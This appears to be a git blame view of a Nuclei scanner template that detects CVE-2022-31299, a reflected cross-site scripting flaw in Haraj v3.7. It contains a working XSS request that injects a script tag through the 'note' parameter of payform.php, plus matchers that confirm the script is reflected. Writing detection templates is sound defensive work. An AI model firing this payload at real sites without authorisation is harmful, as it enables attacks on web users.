2022-09-15 11:58:57 +00:00
|
|
|
id: CVE-2022-31299
|
|
|
|
|
|
|
|
info:
|
2022-09-16 10:58:33 +00:00
|
|
|
name: Haraj v3.7 - Cross Site Scripting
|
2022-09-15 11:58:57 +00:00
|
|
|
author: edoardottt
|
|
|
|
severity: medium
|
2022-09-16 10:58:33 +00:00
|
|
|
description: |
|
|
|
|
Haraj v3.7 was discovered to contain a reflected cross-site scripting (XSS) vulnerability in the User Upgrade Form.
|
2022-09-15 11:58:57 +00:00
|
|
|
reference:
|
|
|
|
- https://github.com/bigzooooz/CVE-2022-31299
|
2022-09-18 04:51:01 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-31299
|
2022-09-18 05:06:01 +00:00
|
|
|
- https://angtech.org
|
2022-09-15 11:58:57 +00:00
|
|
|
classification:
|
2022-09-18 05:06:01 +00:00
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
|
|
cvss-score: 6.1
|
2022-09-15 11:58:57 +00:00
|
|
|
cve-id: CVE-2022-31299
|
2022-09-18 05:06:01 +00:00
|
|
|
cwe-id: CWE-79
|
2022-09-16 10:58:33 +00:00
|
|
|
metadata:
|
2022-09-18 05:06:01 +00:00
|
|
|
verified: "true"
|
2022-09-15 11:58:57 +00:00
|
|
|
tags: cve,cve2022,haraj,xss
|
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
2022-09-16 10:58:33 +00:00
|
|
|
- "{{BaseURL}}/payform.php?type=upgrade&upgradeid=1&upgradegd=6&price=123&t=1¬e=%3C/textarea%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
|
2022-09-15 11:58:57 +00:00
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
2022-09-16 10:58:33 +00:00
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- '><script>alert(document.domain)</script></textarea>'
|
|
|
|
- 'content="nextHaraj'
|
2022-09-16 17:46:43 +00:00
|
|
|
condition: and
|
2022-09-15 11:58:57 +00:00
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- "text/html"
|
|
|
|
|
2022-09-16 10:58:33 +00:00
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|